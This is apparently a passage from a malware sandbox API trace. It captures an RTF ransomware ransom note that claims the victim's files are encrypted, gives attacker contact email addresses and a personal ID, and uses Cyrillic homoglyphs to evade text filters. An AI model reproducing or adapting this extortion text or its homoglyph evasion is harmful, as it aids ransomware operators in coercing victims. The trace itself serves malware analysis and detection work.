n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 